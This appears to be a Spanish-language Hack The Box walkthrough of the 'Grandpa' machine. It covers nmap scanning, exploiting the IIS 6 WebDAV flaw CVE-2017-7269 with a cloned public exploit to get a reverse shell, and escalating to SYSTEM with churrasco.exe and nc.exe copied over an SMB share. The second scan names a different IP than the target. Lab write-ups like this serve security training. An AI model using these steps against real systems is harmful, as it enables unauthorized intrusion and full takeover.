# Grandpa

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FfWuMDhOOgm537LinQxpM%2Fgrandpa00.png?alt=media&#x26;token=01d630ab-eb1c-4883-9e0e-fc5fbc2f8452" alt=""><figcaption></figcaption></figure>

En este artículo, vamos a abordar la resolución de la máquina Grandpa de la plataforma Hack The Box. En primer lugar, para ganar acceso al sistema explotaremos una vulnerabilidad presente en el servidor IIS 6. Esta es vulnerabilidad crítica en el servidor web Microsoft Internet Information Services (IIS), específicamente en el componente WebDAV (Web Distributed Authoring and Versioning). La vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en el servidor afectado, potencialmente tomando control completo del sistema. Finalmente, para escalar nuestros privilegios abusaremos del privilegio `SeImpersonatePrivilege` utilizando la utilidad `churrasco.exe`.

## Reconocimiento

Lanzamos una traza ICMP a la máquina víctima para comprobar que tengamos conectividad.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2Fa7pcTa8a1VtYrFyUVyez%2Fgrandpa01.png?alt=media&#x26;token=f28e5c94-dfab-4e04-9a3f-7616cb0d046a" alt=""><figcaption><p>Reconocimiento usando el comando ping</p></figcaption></figure>

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Windows basandonos en el TTL (Time To Live) 127.

### Descubrimiento de puertos abiertos <a href="#descubrimiento-de-puertos-abiertos" id="descubrimiento-de-puertos-abiertos"></a>

Realizamos un escaneo con `nmap` para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.<br>

```bash
nmap -sS -p- --open --min-rate 5000 10.10.10.14 -n -Pn -oG scanPorts -vvv
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FHf7dNU1b0paff50fa7tn%2Fgrandpa02.png?alt=media&#x26;token=fb291398-6e25-4b0e-900f-f71725a1db41" alt=""><figcaption><p>Descubrimiento de puertos abiertos</p></figcaption></figure>

### Enumeración de versión y servicio <a href="#enumeracion-de-version-y-servicio" id="enumeracion-de-version-y-servicio"></a>

Lanzamos una serie de script básicos de enumeración propios de `nmap`, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos.<br>

```bash
nmap -sCV -p21,80 10.10.10.5 -oN targeted -vvv
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FcitoU1wtkcNCK16m2B3D%2Fgrandpa03.png?alt=media&#x26;token=5549896e-7054-4f2f-8ea1-91991cd25a38" alt=""><figcaption><p>Descubrimiento de versión y servicio con nmap</p></figcaption></figure>

## Explotación

Si ingresamos a la web que esta corriendo bajo el puerto 80, nos encontramos con lo siguiente:

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FZH3rZ9plLWtmoC4cpAyb%2Fgrandpa04.png?alt=media&#x26;token=150dae62-c98a-4ccb-8527-d798673093e1" alt=""><figcaption><p>Web</p></figcaption></figure>

Una página por defecto de una instancia del servidor IIS, en este caso en su versión 6.

Se realizamos un búsqueda en Google, podemos ver que IIS 6 cuenta con una vulnerabilidad critica catalogada bajo el CVE - CVE-2017-7269. Esta es vulnerabilidad crítica en el servidor web Microsoft Internet Information Services (IIS), específicamente en el componente WebDAV (Web Distributed Authoring and Versioning). La vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en el servidor afectado, potencialmente tomando control completo del sistema. Dicha vulnerabilidad reside en el manejo incorrecto de las solicitudes HTTP por parte del componente WebDAV en IIS. Un atacante puede enviar una solicitud especialmente diseñada que incluye una cabecera "`If: <http://`" lo que puede desencadenar un desbordamiento de buffer.

Para explotar esta vulnerabilidad, utilizaremos [este](https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269) exploit.

Descargamos el exploit:

```bash
git clone https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269
```

Ingresamos al directorio y renombramos el ejecutable para mayor comodidad.

```bash
cd iis6-exploit-2017-CVE-2017-7269
mv "iis6 reverse shell" iis.py
```

Nos ponemos en escucha con netcat por el puerto `443`.

```bash
rlwrap nc -lnvp 443
```

Ejecutamos el exploit.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FhbeZuTkGkzEOJGaf7pwH%2Fgrandpa05.png?alt=media&#x26;token=3744c7b1-2e0b-4e91-8ac3-d06c2b2567e8" alt=""><figcaption><p>Ejecución del exploit</p></figcaption></figure>

Ganamos acceso al sistema como el usuario `nt authority\network service`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F6wh1SQiGgKAlf0QN9UtW%2Fgrandpa06.png?alt=media&#x26;token=2b30c6f5-cb1d-4a6e-a482-043960ec92b8" alt=""><figcaption><p>Ganamos acceso al sistema.</p></figcaption></figure>

## Escalación de privilegios

Si listamos los privilegios de nuestro usuario, podemos observar uno que destaca `SeImpersonatePrivilege`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F59od9Shlh1M7vcnsJKOo%2Fgrandpa07.png?alt=media&#x26;token=af7be4e2-d978-45e4-b90e-cedebcd5f16a" alt=""><figcaption><p>Privilegios del usuario <code>nt authority\network service</code></p></figcaption></figure>

> El privilegio **SeImpersonatePrivilege** en Windows permite a un proceso suplantar (impersonar) a un usuario después de autenticarse. En otras palabras, le da a un proceso la capacidad de ejecutar acciones en nombre de otro usuario. Este privilegio es crucial para ciertos servicios y aplicaciones que necesitan realizar tareas en nombre de los usuarios, pero también puede ser un riesgo de seguridad si se abusa de él. Por ejemplo, un atacante con este privilegio podría suplantar a un administrador y realizar acciones maliciosas con altos privilegios.

Para escalar privilegios, podemos abusar de este privilegio utilizando la utilidad `churrasco.exe`.

Descargamos la utilidad [churrasco.exe](https://github.com/Re4son/Churrasco/blob/master/churrasco.exe) y [nc.exe](https://github.com/int0x33/nc.exe/blob/master/nc.exe).

Creamos un recurso compartido con `impacket-smbserver` para poder transferir estos binarios a la máquina víctima.

```bash
impacket-smbserver -smb2support sharedFolder .
```

Descargamos los binarios en la máquina víctima.

```
copy \\10.10.14.2\sharedFolder\churrasco.exe churrasco.exe
copy \\10.10.14.2\sharedFolder\nc.exe nc.exe
```

Nos ponemos en escucha con netcat por el puerto `443`.

```bash
rlwrap nc -lnvp 443
```

Ejecutamos `churrasco.exe`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FjAm5ijnS2x6cm64ndZer%2Fgrandpa08.png?alt=media&#x26;token=c13f5f99-4ae6-4ac3-ad2f-e650ec75d61e" alt=""><figcaption><p>Ejecución de <code>churrasco.exe</code></p></figcaption></figure>

Ganamos acceso al sistema como `nt authority\system`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FA4KWwNhv1X1bE1oeg5xU%2Fgrandpa09.png?alt=media&#x26;token=ec2083e2-6849-4154-849c-0958fb35a873" alt=""><figcaption><p><code>nt authority\system</code></p></figcaption></figure>

Por ultimo, leemos los flags de `user.txt` y `root.txt`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FXy2MO99S9WqnH14iCKTK%2Fgrandpa10.png?alt=media&#x26;token=de37fd5d-a92d-48dc-b74f-35ce8ba4f0cc" alt=""><figcaption><p>Flags</p></figcaption></figure>

De esta forma, concluimos la resolución de la máquina Grandpa.

Espero que los conceptos hayan quedado claros. En caso de tener alguna duda, te invito a realizar nuevamente la máquina para afianzar tus conocimientos.

¡Gracias por leer!

Happy Hacking!
